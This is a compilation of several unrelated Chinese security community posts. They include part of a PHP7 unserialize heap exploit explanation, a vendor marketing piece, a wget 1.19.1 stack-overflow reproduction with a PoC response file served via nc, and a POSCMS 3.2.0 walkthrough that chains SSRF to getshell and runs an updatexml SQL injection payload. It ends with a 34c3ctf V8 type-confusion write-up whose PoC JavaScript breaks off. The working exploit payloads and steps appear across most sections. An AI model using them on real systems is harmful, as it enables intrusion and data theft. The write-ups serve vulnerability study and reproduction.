如前所述,错误导致了堆的损坏。如果我们立即分配相同的slot,损坏的堆不能被修复。在这种情况下,我们没有办法安全地分配新对象。
一个更好的解决方法是，将members数组引用到已经反序列化的数组中,避免它被分配到一个新的数组。
反序列化:
现在，ArrayObject的内部数组正在引用自身, 错误已经引发。Members数组是对一个空数组（在stdClass中实例化的第一个对象）的引用。因此,
free slot仍然在堆中,可以由我们分配。
接下来,我们需要修复损坏的堆。当我们引发错误时,内部数组的refcount增加了两次:第一次是在反序列化这个引用的时候,第二次是在引用destructors-array的时候。
zend_array的refcount是整个结构中的前面四个字节。当slot在进行去分配时,分配器会使用slot的前四个字节作为指针，指向bin 的free
list内的下一个对象。所以,refcount的增量实际上是由于指针增加了2。
为了解决这个问题,我们需要通过引用让count / free
list指向一个有效的已释放的slot。zend_array的大小为44个字节,因此它属于48字节大小的bin。可以假定下一个free
slot在内部数组后面48字节处(在损坏之前)。为了解决这个问题,我们需要将refcount /指针增加46(2 + 46 =
48)。随着每个反序列化引用的增加，refcount 都会增加2,我们需要再添加23个对已释放数组的引用 (2 + 23 * 2 = 48)。
由此产生的字符串是这样的:
现在我们可以对48-bin内的任何对象——即大小为41-48字节的对象进行反序列化，从而分配已释放的对象。
当我们用自己的对象占用已释放的slot后，还有一件事需要担心：当反序列化过程结束后, destructor-array中的所有引用都减少了。这意味着refcount将下降23。所以在分配后,我们至少要将引用计数增加23。如果我们增加的数量小于23,对象会被释放，这会导致它变成free
list内的指针,然后降低更多,从而导致堆的损毁。
因此,稳定的触发器是以下的字符串:
在这种情况下,我们仍然有一个分配给使用着的slot的空数组对象。当然,它不是很有用,但是很稳定，不会让引擎崩溃。如果我们少引用了一次数组,数组和其中所有对象都将被释放。我们可以利用这个性质来获得代码执行。
**重点:** ****
•ArrayObject认为内部数组的任何指向都是指向zend_array结构的指针。这意味着，我们选择分配给已释放slot的任何对象都必须与这个结构类似，即拥有有效的指针等。(在我们的触发字符串中,我们分配了一个真正的数组来避免这个问题)
•在反序列化后，PHP脚本本身可能需要分配一些对象,它可能会分配已释放的对象。为了避免这种情况,我们需要分配和释放几个适当大小的对象。
PHP7：反序列化漏洞案例及分析（下）：<http://bobao.360.cn/learning/detail/2992.html>
报告原文：<http://blog.checkpoint.com/wp-content/uploads/2016/08/Exploiting-PHP-7-unserialize-Report-160829.pdf> | 社区文章 |
# 听说安全圈也有CPU了？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**发现了吗？**
**对于众多数字化企业来说**
**安全设备“量变”容易**
**安全能力“质变”难！**
**你以为的安全**
买买买，串糖葫芦式的设备叠加环境
真实的安全现状
设备没能有效利用
挡不住安全威胁，企业成本浪费
投入大量人力、财力
安全效果还是不尽如人意
到底为什么？
## 问题一：缺乏全局视野
缺乏对安全内涵及外延的认知
就像站在瞭望塔底部
眼前的黑不是黑
眼前的白不是白
## 问题二：各方情报难以融汇统一
缺乏有效整合的情报信息
导致可利用价值大打折扣
只见树木，不见森林
并没有真正实现“防患于未然”
## 问题三：安全大数据缺乏汇聚分析
各种安全业务场景中
实时及历史存量数据
就像堆起来的“庞然巨物”
数不清，理还乱
## 问题四：各类设备缺乏联动策略
安全设备各有头脑
不能共同“脑暴”
无法实现步调统一
这时候企业开始思考
到底有什么神器
能让安全设备“齐步走”？
这里，要隆重推出
360核心安全大脑
一个给所有安全设备叠加智能buff的超能力平台
它是360云端安全大脑的私有化部署
不仅能根据自己的规则，
存储、消化、处理各种安全大数据
还能分发各种安全分析能力，
给安全设备加buff
360核心安全大脑的组成包含：一个安全大数据平台一个云端赋能平台多个安全分析引擎还内嵌了360十七年经验所积累的实战方法论
360核心安全大脑
到底能做什么？
**第一：扩展用户安全运营思路**
依托360积累多年的安全视野数据、专家知识及运营经验
扩展用户安全运营思路
让“别人发生的事，别人踩过的坑”尽收眼底
**第二：多源情报汇聚统一**
汇聚“各方意见”，补充威胁版图
提供统一威胁情报赋能接口
解决用户为不同的网络安全产品
重复订阅威胁情报的问题
**第三：多维度数据聚合与分析**
将安全设备的大数据，聚合分析
从所有威胁的“蛛丝马迹”中“剥茧抽丝”
解决“数据孤岛”问题
使数据融合贯通
**第四：协同策略的一致性执行**
由核心安全大脑向下牵引多个安全设备
进行协同防御响应
使之动作步调一致、进退统一
简单来说
这是一个部署在客户侧
真正协调各种能力实现联防联控的
核心“CPU”
看到这里
有人会问
核脑这个新武器究竟能不能打？
让我们来研究一下核脑的进化史
long long ago
核脑还是1.0时代
实现了云端下沉
**帮助政企用户提高了防护的灵活性和有效性**
核脑2.0时代
实现了聚合分析
**帮助政企用户增强了设备的响应水平和效率体验**
经过千锤百炼
今天的核脑已经进化到了3.0时代
实现了安全设备的联防联控
**大大提升了政企用户体系化、实战化的数字安全能力**
现在的核脑，有着时间、经验、能力上“质”的叠加
**效率最高的安全分析技术**
100余种基础通用安全分析能力
10大类、60余小类、2000多个安全策略
**能力最强的数据处理标准**
1000余个属性标准定义
预置70余个对象接入规则
**数量最全的云端安全大数据**
2EB海量安全大数据、总量180亿+恶意网址、5万亿+存活网址、样本文件300亿+、700亿+DNS解析记录
覆盖最广的全景攻防知识框架
TTP技战术规则近千条、沙箱检测规则数千条，还原杀伤链检测规则数万条、黑白名单250亿左右
……
这些“最“整合到核脑安营扎寨
能给各个厂商、各种型号的安全设备
“爱的供养”
具体来说，
核脑可以配合终端设备联动
进行进程隔离、进程终止、文件隔离
文件恢复、启动项管理、主机服务禁用等
配合网关设备联动
如与WAF、防火墙、IPS、IDS等联动进行封堵、隔离等
配合检测类系统联动
如与沙箱联动确认动态文件是否为恶意文件
配合第三方情报系统联动
支持对IP、域名、文件等情报检测
总体而言
这个赋能型“CPU选手”
能真正帮助客户
将安全设备从“闲置”到“活化”
从“量变”到“质变”
降本增效
增肌健体！ | 社区文章 |
## 前言
参考网上的一篇文章教程，复现了一下 wget 1.19.1 组件版本的的一个栈溢出漏洞。漏洞的成因是由于对响应包处理不当导致的整数溢出，进而导致栈溢出。
## 环境准备
sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz
### 编译
cd wget-1.19.1/
mkdir build/ & ./configure --prefix=$PWD/build/
make -j8
### 安装
安装好的二进制文件是存放在 `--prefix` 变量值的 bin/ 目录下：
sudo make install
cd build/
## 漏洞触发
该版本漏洞是由于 wget 组件在处理 401 状态码的数据响应包时，没有对读取的包做正负检查，导致的整数栈溢出。我们先触发一下这个漏洞。
1 . 建立 poc 文件
➜ wget_sof cat poc
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
2 . nc 监听端口
➜ wget_sof nc -lp 12667 < poc
3 . wget 触发漏洞
可以看到，wget 在 12667 端口处触发了栈溢出漏洞，导致程序服务 crach：
## 漏洞分析
接着对漏洞点进行静态和动态分析。
### 静态分析
前文说了漏洞点是由于对 401 数据响应包的处理不当导致的，准确的说是由于 wget
在处理响应包时，对每个包进行分块之后，错误的将一个负数与整数进行比较，得到的负数的值作为内存复制函数的 len。
首先搜索 `skip_short_body` 函数，进入 `src/http.c` 源代码中进行分析：
➜ wget-1.19.1 grep -rnl "skip_short_body" *
build/bin/wget
ChangeLog
src/http.c
src/http.o
src/wget
跟踪到 `src/http.c` 文件的 3493 行，在这里会判断 wget 请求返回回来的 http 状态码，当状态码是 401（未认证）时会触发下面的
if 判断：
if (statcode == HTTP_STATUS_UNAUTHORIZED)
{
/* Authorization is required. */
uerr_t auth_err = RETROK;
bool retry;
if(warc_enabled){
...... # 判断是否 content-type 为 WARC
}else
{
/* Since WARC is disabled, we are not interested in the response body. */
if (keep_alive && !head_only
&& skip_short_body (sock, contlen, chunked_transfer_encoding))
CLOSE_FINISH (sock);
else
CLOSE_INVALIDATE (sock);
}
}
* `HTTP_STATUS_UNAUTHORIZED` 的定义：
#define HTTP_STATUS_UNAUTHORIZED 401
因为这里的 content-type 不是 warc，所以会进入 else 分支，以此判断 `keep_alive`、`head_only`，接着调用
`skip_short_body` 这个函数，这里传入了三个参数，第一个参数 sock 的描述符，后面两个参数不重要。
跟进函数 `skip_short_body` ：
static bool
skip_short_body (int fd, wgint contlen, bool chunked)
{
enum {
SKIP_SIZE = 512, /* size of the download buffer */
SKIP_THRESHOLD = 4096 /* the largest size we read */
};
wgint remaining_chunk_size = 0;
char dlbuf[SKIP_SIZE + 1];
dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */
/* If the body is too large, it makes more sense to simply close the
connection than to try to read the body. */
if (contlen > SKIP_THRESHOLD)
return false;
while (contlen > 0 || chunked)
{
int ret;
if (chunked)
{
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
char *endl;
if (line == NULL)
break;
remaining_chunk_size = strtol (line, &endl, 16);
xfree (line);
if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);
xfree (line);
break;
}
}
contlen = MIN (remaining_chunk_size, SKIP_SIZE);
}
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
首先函数通过 sock 获取到 line 的指针： `char *line = fd_read_line (fd);`， **也就是 http
响应包的响应体的指针** 。
接着调用 `strtol` 函数，将 line 变量指向的值转换为整数值（`remaining_chunk_size` 变量），接着通过 `MIN
(remaining_chunk_size, SKIP_SIZE);` 得到真正的响应体的长度 contlen。
* MIN 的定义，取长度小的作为 contlen 的值：
# define MIN(a,b) ((a) < (b) ? (a) : (b))
之后调用了 `fd_read` 函数，将响应体的内容复制到栈中，长度即为 contlen 变量的值。
`fd_read` 函数封装了 `sock_read` 函数
int
fd_read (int fd, char *buf, int bufsize, double timeout)
{
struct transport_info *info;
LAZY_RETRIEVE_INFO (info);
if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
return -1;
if (info && info->imp->reader)
return info->imp->reader (fd, buf, bufsize, info->ctx);
else
return sock_read (fd, buf, bufsize);
}
`sock_read` 函数调用了 `read` 函数，在这里触发了栈溢出：
static int
sock_read (int fd, char *buf, int bufsize)
{
int res;
do
res = read (fd, buf, bufsize);
while (res == -1 && errno == EINTR);
return res;
}
### 动态分析
使用 gdb 进行动态调试：
gdb ./wget
set args 127.0.0.1:12667
b skip_short_body
将断点下在 `skip_short_body` 函数入口，在执行完 `fd_read_line` 函数后，观察寄存器，返回值 line 的值为
`-0xFFFFF000` 的指针：
往下，接着会调用 `strtol` 函数，第一个为 line 的值，第二个参数为栈上的变量，第三个参数为长度：
执行完 `strtol` 函数之后，会将返回值赋值给 `remaining_chunk_size` 变量，此时这个变量的值为
`0xffffffff00001000`：
pwndbg> i reg rax
rax 0xffffffff00001000 -4294963200
通过代码 `contlen = MIN (remaining_chunk_size, SKIP_SIZE);` 进行比较，得到的 `contlen`
变量的值为 0x1000。
而 `SKIP_SIZE` 的定义：
* **这里将一个负数与整数相比较，返回的值就是 0x1000。**
接着调用到 `fd_read` 函数，这个函数的第三个参数就是 contlen 的值，大小为 0x1000。
跟进函数，`fd_read` 里面封装了 `sock_read` 函数：
跟进之后发现，这个函数里调用了 read 函数，将 sock 通道里的内容（也就是 AAAA...）复制到栈空间上：
因为这个值太大，导致了栈溢出。 **填充后不会使得当前`fd_read` 函数崩溃，而会溢出到了 `skip_short_body`
这个函数的栈空间，覆盖了栈的返回地址**，导致程序崩溃：
## 漏洞补丁
更新的补丁将 `strtol` 函数的返回值 `remaining_chunk_size` 变量的值进行是否为负数的判断，如果是负数的话就之后
`return False` 从而防止整数的溢出。
## 参考文章
<https://mp.weixin.qq.com/s/3rBfUnRiFoe-0w2C9JqwZw> | 社区文章 |
最近工作之余发现虚拟机里存有之前下载的POSCMSv3.2.0，这个CMS系统去年底被爆出漏洞，当时读了参考文章1的博客后很想复现一下，却因别的事耽搁了。这次抽空复盘一下，详情见下文。P.S.源码请戳附件。
## 安装环境
本次复盘系统部署在CentOS虚拟机中，版本信息如下：
OS: CentOS7 amd64 (IP:10.10.10.129)
PHP: 5.5.38
MySQL: 5.5.60
WebServer: Apache2.4.6
软件版本：2018.11.27 v3.2.0
对应这个版本支持的PHP不得高于7.1，这里只好对系统默认安装版本降级：
yum list installed | grep php
yum remove php*.x86_64
## 添加新的RPM仓库
rpm -Uvh https://mirror.webtatic.com/yum/el7/epel-release.rpm
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
yum install php55w.x86_64 php55w-cli.x86_64 php55w-common.x86_64 php55w-gd.x86_64 php55w-ldap.x86_64 php55w-mbstring.x86_64 php55w-mcrypt.x86_64 php55w-mysql.x86_64 php55w-pdo.x86_64
解压POSCMS-3.2.0.zip到Apache虚拟目录，这里我放在了`/var/www/html/POSCMS`，软件要求请求URL必须以根目录开始，所以修改了一下`/etc/httpd/conf/httpd.conf`：
然后配置Mysql，创建数据库、用户、授予权限等等，不再赘述。访问`http://10.10.10.129/install.php`按步骤进行安装，安装成功后访问主页如下图：
在安装过程中有一次提示“cache目录没有写权限”，原因是`POSCMS`目录下的所有属主都是root。可以去修改Apache默认授权的用户、组，还是在`/etc/httpd/conf/httpd.conf`中找到并修改以下段落：
这里我将`www`目录允许的用户、组直接改成了当前操作用户newman，接着修改`POSCMS`目录的属主为同一属主：
接着就能正常安装了。有时候位于虚拟机内的CentOS无法访问，那么可以查查以下服务的状态，并清空一下规则。基本上关停以下服务，大概率就能访问了：
## 清空iptables
sudo iptables -F
## 查看Selinux状态
sudo sestatus
## 临时关闭Selinux
sudo setenforce 0
## 停掉firewall服务
sudo service firewalld stop
## 漏洞1——SSRF及GetShell
打开项目源代码，第一个漏洞的出处在`\diy\module\member\controllers\Api.php`中的`down_file()`函数，内容如下：
// 文件下载并上传
public function down_file() {
/***********************************************************
* Part0. 获取POST参数url中的内容并解析
************************************************************/
$p = array();
$url = explode('&', $this->input->post('url'));
foreach ($url as $t) {
$item = explode('=', $t);
$p[$item[0]] = $item[1];
}
/***********************************************************
* Part1. 验证用户权限
************************************************************/
!$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));
// 会员组权限
$member_rule = $this->get_cache('member', 'setting', 'permission', $this->member['mark']);
// 是否允许上传附件
!$this->member['adminid'] && !$member_rule['is_upload'] && exit(dr_json(0, fc_lang('您的会员组无权上传附件')));
// 附件总大小判断
if (!$this->member['adminid'] && $member_rule['attachsize']) {
$data = $this->db->select_sum('filesize')->where('uid', $this->uid)->get('attachment')->row_array();
$filesize = (int)$data['filesize'];
$filesize > $member_rule['attachsize'] * 1024 * 1024 && exit(dr_json(0, fc_lang('附件空间不足！您的附件总空间%s，现有附件%s。', $member_rule['attachsize'].'MB', dr_format_file_size($filesize))));
}
/***********************************************************
* Part2. 解密code参数的值获得扩展、路径等信息
************************************************************/
list($size, $ext, $path) = explode('|', dr_authcode($p['code'], 'DECODE'));
/***********************************************************
* Part3. 生成存放路径
************************************************************/
$path = $path ? SYS_UPLOAD_PATH.'/'.$path.'/' : SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';
!is_dir($path) && dr_mkdirs($path);
$furl = $this->input->post('file');
/***********************************************************
* Part4. 访问并获取文件
************************************************************/
$file = dr_catcher_data($furl);
!$file && exit(dr_json(0, '获取远程文件失败'));
/***********************************************************
* Part5. 根据扩展名过滤并存储数据
************************************************************/
$fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
$exts = (array)explode(',', $ext);
!in_array($fileext, $exts) && exit(dr_json(0, '远程文件扩展名（'.$fileext.'）不允许'));
$fileext == 'php' && exit(dr_json(0, '远程文件扩展名（'.$fileext.'）不允许'));
$filename = substr(md5(time()), 0, 7).rand(100, 999); //文件名
/***********************************************************
* Part6. 向路径写入数据并返回响应结果
************************************************************/
if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {
$info = array(
'file_ext' => '.'.$fileext,
'full_path' => $path.$filename.'.'.$fileext,
'file_size' => filesize($path.$filename.'.'.$fileext)/1024,
'client_name' => '',
);
$this->load->model('attachment_model');
$this->attachment_model->siteid = $p['siteid'] ? $p['siteid'] : SITE_ID;
$result = $this->attachment_model->upload($this->uid, $info);
if (is_array($result)) {
list($id) = $result;
echo json_encode(array('status'=>1, 'id'=>$id, 'name' => dr_strcut($filename, 10).'.'.$fileext));exit;
} else {
@unlink($info['full_path']);
exit(dr_json(0, $result));
}
} else {
exit(dr_json(0, '文件移动失败，目录无权限（'.$path.'）'));
}
}
### 源码分析
这段代码的主要逻辑是 **根据请求中参数去请求文件内容，并将它保存在特定目录中，最后以json格式返回保存结果** 。
Part1没什么好说的，只要管理员不修改默认权限，注册个普通用户就有视频、图片的上传功能。Part2中`dr_authcode()`是一个加解密函数，位于`\diy\dayrui\helpers\function_helper.php`。其具体实现可以不用关心，毕竟源码已经到手，只要找到密钥，就能随意构造加密结果。
Part3中确定了下载文件的名称，这里我们请求的参数中不包含`code`参数，使`$PATH为空`，则它会取问号表达式的后半段`SYS_UPLOAD_PATH.'/'.date('Ym',
SYS_TIME).'/'`，最后的上传路径如下：`/uploadfile/年月/`。
Part4中的`dr_catcher_data()`函数正是SSRF漏洞的来源，其实现位于`\diy\dayrui\helpers\function_helper.php`。无论代码最后选的是fopen模式还是curl模式，开发人员都没有对可解析的协议做限制，也没有校验请求参数`$url`的范围。
### 寻找触发点
直接用VSCode的全局搜索功能，寻找`down_file()`函数的调用位置：
发现它出现在了一个js文件中，于是构造一个XHR的POST请求到服务端，设置`file`参数的值使其访问`/etc/passwd`，得到如下响应：
用浏览器打开“文件存储路径+返回的文件名”：
### GetShell
再请求一下`/config/system.php`，该文件中存储有重要的元数据。
这是因为Part5中的`$ext`变量虽然为空，但它专门过滤了.php文件，好在利用`file://`协议的解析特性，可以绕过这一点，比如`.php?.`或`.php#.`：
再次用浏览器打开并设置编码格式为UTF-8：
获取到安全密钥后，可以构造特殊payload绕过扩展名检查。这里，总结一下此次GetShell的思路：
1. 构造特殊payload使.html文件允许被上传
2. 在自己控制的服务器上放置.html文件（里面有恶意代码的php代码）
3. 利用SSRF漏洞，使服务器用http协议访问带外数据（OOB），获取到恶意的.html，形成Getshell
为了绕过扩展名检查，我将加密代码拷贝进另一文件并填入密钥，输入选择`1|html,|0`，运行得到输出为`22d7Qrdws88/R/uETpWlvY/PFNTYzvs/QNj5PBa66veNDlECqpM`，并构造POST参数`file=http://10.10.10.1/haha.html&url=code=22d7Qrdws88/R/uETpWlvY/PFNTYzvs/QNj5PBa66veNDlECqpM`，这里的`haha.html`里包含了php代码`<?php
echo phpinfo();?>`，最终效果如下：
如果这里复现失败了，那大概是在于两点：一、加密函数有时效性，过时需要重新生成；二、CentOS默认安装的Apache无法解析包含php代码的html文件，需要在`/etc/httpd/conf.d/php.conf`中添加如下：
## 漏洞2——前台SQL注射
最后一个SQL注射漏洞，为了找到漏洞出现的位置，我可耻地下载了别人博客里的截图并放大，看到了以下信息：
查看源码（`\diy\dayrui\models\Attachment_model.php`）可以发现注入点：
该函数的调用点位于（`\diy\module\member\controllers\Account.php`）：
对应的功能实际是前台用户中心—>基本管理—>附件管理的搜索功能，随便选择某个类别搜索后会看到这条请求：
GET /index.php?s=member&c=account&m=attachment&module=photo&ext= HTTP/1.1
Host: 10.10.10.129
向`module`参数注入Payload果然出现了报错：
但不知道为什么博客里的Payload这里复现失败了，不过已经知道是报错注入，我用了经典的Payload——`" or
updatexml(1,concat(1,0x7e,user()),1);#`拼接入参数中，得到了数据库当前用户：
GET /index.php?s=member&c=account&m=attachment&module=photo%22%20or%20updatexml(1,concat(1,0x7e,user()),1);%23&ext= HTTP/1.1
Host: 10.10.10.129
第一次复现php代码漏洞，如有错误或忽略的地方，望各位师傅斧正。以后有时间了好好学一遍php语言，毕竟是世界上最好的语言（手动滑稽）。
## 参考文章
1. [https://www.jianshu.com/p/7cabf9ef2aad]()
2. [http://www.webbaozi.com/dmsj/111.html]()
3. [http://blog.sina.com.cn/s/blog_3edc5e2e0102w2oh.html]()
4. [https://www.cnblogs.com/wocalieshenmegui/p/5917967.html]()
5. [https://www.cnblogs.com/rickzhai/p/7896297.html]()
6. [https://blog.csdn.net/xin_y/article/details/79007986]() | 社区文章 |
本人大三准备写计算机安全毕业设计求想法，主要想复试的时候能通过毕业论文多加几分，用python写。我学过的（多线程多进程
扫描器（外接nmap…内置shell工具） 网络编程 下载等待界面 对话框 爬虫（内置浏览器） 文件处理 mysql
错误调试 逆向 密码学（绕waf））
目前能想到的武器库....学的多但是不深。求想法
暑假准备去实习，动手的话应该是在大四上学期 | 社区文章 |
# 34c3ctf-v9
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
结合Turbolizer来分析34c3ctf-v9的v8逃逸题
## 0x01 patch分析
diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index 3a40e8d..cb51acc 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -5,6 +5,8 @@
#include "src/compiler/redundancy-elimination.h"
#include "src/compiler/node-properties.h"
+#include "src/compiler/simplified-operator.h"
+#include "src/objects-inl.h"
namespace v8 {
namespace internal {
@@ -23,6 +25,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
+ case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
case IrOpcode::kCheckSmi:
@@ -129,6 +132,14 @@ bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->opcode() == IrOpcode::kCheckInternalizedString &&
b->opcode() == IrOpcode::kCheckString) {
// CheckInternalizedString(node) implies CheckString(node)
+ } else if (a->opcode() == IrOpcode::kCheckMaps &&
+ b->opcode() == IrOpcode::kCheckMaps) {
+ // CheckMaps are compatible if the first checks a subset of the second.
+ ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+ ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+ if (!b_maps.contains(a_maps)) {
+ return false;
+ }
} else {
return false;
}
从patch中可以看到，在`redundancy-elimination.cc`源文件的`RedundancyElimination::Reduce`函数中增加了一句`case
IrOpcode::kCheckMaps:`，这样对于`checkmaps`节点，也会进行`reduce`
switch (node->opcode()) {
case IrOpcode::kCheckBounds:
case IrOpcode::kCheckFloat64Hole:
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
case IrOpcode::kCheckSmi:
case IrOpcode::kCheckString:
case IrOpcode::kCheckSeqString:
case IrOpcode::kCheckNotTaggedHole:
case IrOpcode::kCheckedFloat64ToInt32:
case IrOpcode::kCheckedInt32Add:
case IrOpcode::kCheckedInt32Sub:
case IrOpcode::kCheckedInt32Div:
case IrOpcode::kCheckedInt32Mod:
case IrOpcode::kCheckedInt32Mul:
case IrOpcode::kCheckedTaggedToFloat64:
case IrOpcode::kCheckedTaggedSignedToInt32:
case IrOpcode::kCheckedTaggedToInt32:
case IrOpcode::kCheckedUint32ToInt32:
return ReduceCheckNode(node);
看到`ReduceCheckNode`函数
Reduction RedundancyElimination::ReduceCheckNode(Node* node) {
Node* const effect = NodeProperties::GetEffectInput(node);
EffectPathChecks const* checks = node_checks_.Get(effect);
// If we do not know anything about the predecessor, do not propagate just yet
// because we will have to recompute anyway once we compute the predecessor.
if (checks == nullptr) return NoChange();
// See if we have another check that dominates us.
if (Node* check = checks->LookupCheck(node)) {
ReplaceWithValue(node, check);
return Replace(check);
}
// Learn from this check.
return UpdateChecks(node, checks->AddCheck(zone(), node));
}
该函数调用`LookupCheck(node)`获得新值以后，调用`ReplaceWithValue(node, check)`将原节点进行了替换。
继续看到`LookupCheck(node)`函数，该函数调用了`IsCompatibleCheck`函数，如果函数返回`true`，那么就会返回`check->node`，从而可以对这个节点进行`Reduce`消除
Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const {
for (Check const* check = head_; check != nullptr; check = check->next) {
if (IsCompatibleCheck(check->node, node)) {
DCHECK(!check->node->IsDead());
return check->node;
}
}
return nullptr;
}
而`IsCompatibleCheck`函数则是被patch过的
bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->op() != b->op()) {
if (a->opcode() == IrOpcode::kCheckInternalizedString &&
b->opcode() == IrOpcode::kCheckString) {
// CheckInternalizedString(node) implies CheckString(node)
} else if (a->opcode() == IrOpcode::kCheckMaps &&
b->opcode() == IrOpcode::kCheckMaps) {
// CheckMaps are compatible if the first checks a subset of the second.
ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
if (!b_maps.contains(a_maps)) {
return false;
}
} else {
return false;
}
}
for (int i = a->op()->ValueInputCount(); --i >= 0;) {
if (a->InputAt(i) != b->InputAt(i)) return false;
}
return true;
}
在patch的内容分支上，程序获得两个checkmaps值，如果`a_maps`是`b_maps`的子集，那么变直接返回`true`，这将使得节点b被`Reduce`掉
## 0x02 POC构造
首先构造，我们使用了字典对象，我们仅观察checkmaps的reduce过程
var dict = {a:1.1};
function opt(obj_dict) {
var x = obj_dict.a;
var y = new Array(0x10);
return obj_dict.a;
}
for (var i=0;i<0x20000;i++) {
opt(dict);
}
print(opt(dict));
其中为了防止`opt`函数被直接内联到for语句里，我们在里面增加了一句`var y = new Array(0x10);`，在代码里，按理来说，`var
x = obj_dict.a;`和`return
obj_dict.a;`都应该有一个`checkmaps`节点用于进行类型检查。我们还需要先弄清楚`RedundancyElimination::ReduceCheckNode`函数调用者是来自哪里，因此，我们在该函数下断点，然后用gdb调试。
最终发现，该阶段发生在`LoadEliminationPhase`阶段。接下来，结合IR图来进行验证，运行d8时加入选项`--trace-turbo`。
在`Loops peeled 95`阶段，43这个节点`checkmaps`还存在
然后到了下一个阶段，也就是`Load eliminated 95`阶段，43节点的`checkmaps`被reduce了
如果把patch去掉，发现在`Load eliminated 95`阶段是不会把`checkmaps`给去掉的
根据上述结论，我们进一步构造
var dict = {a:1.1};
function opt(obj_dict) {
var x = obj_dict.a;
obj_dict.a = {};
var y = new Array(0x10);
return obj_dict.a;
}
for (var i=0;i<0x20000;i++) {
opt(dict,(o)=>1);
}
print(opt(dict));
发现没有发生类型混淆，生成IR图进行观察,最后发现
最后发现`return
obj_dict.a;`已经是按照对待`HOLEY_ELEMENTS`类型的方式将值取出的方式。由此，我们考虑加一个函数调用，使得字典对象逃逸，这样由于`return
obj_dict.a;`的checkmaps在`Load eliminated 95`阶段会被移除，而`Escape Analyse`阶段在`Load
eliminated 95`阶段之后，那么就可以造成类型混淆
var dict = {a:1.1};
function opt(obj_dict,o) {
var x = obj_dict.a;
o(obj_dict);
return obj_dict.a;
}
for (var i=0;i<0x20000;i++) {
opt(dict,(o)=>i);
}
print(opt(dict,(o)=>{o.a = dict}));
测试发现确实发生了类型混淆
root@ubuntu:~/Desktop/v8/34c3ctf-v9/x64.debug# ./d8 poc.js
1.8632743560757e-310
分析IR图
可以看到，在调用完函数后，没有对dict的类型重新进行检查，那么，我们在函数里改变了dict里a属性的类型，但是代码仍然用的是对待原来`double
elements`的方式来取出值，由此发生类型混淆
## 0x03 漏洞利用
首先构造`addressOf`原语
function addressOf_opt(dict,f) {
var x = dict.a;
f(dict);
return dict.a;
}
var double_dict = {a:1.1};
for (var i=0;i<0x20000;i++) {
addressOf_opt(double_dict,(o)=>1);
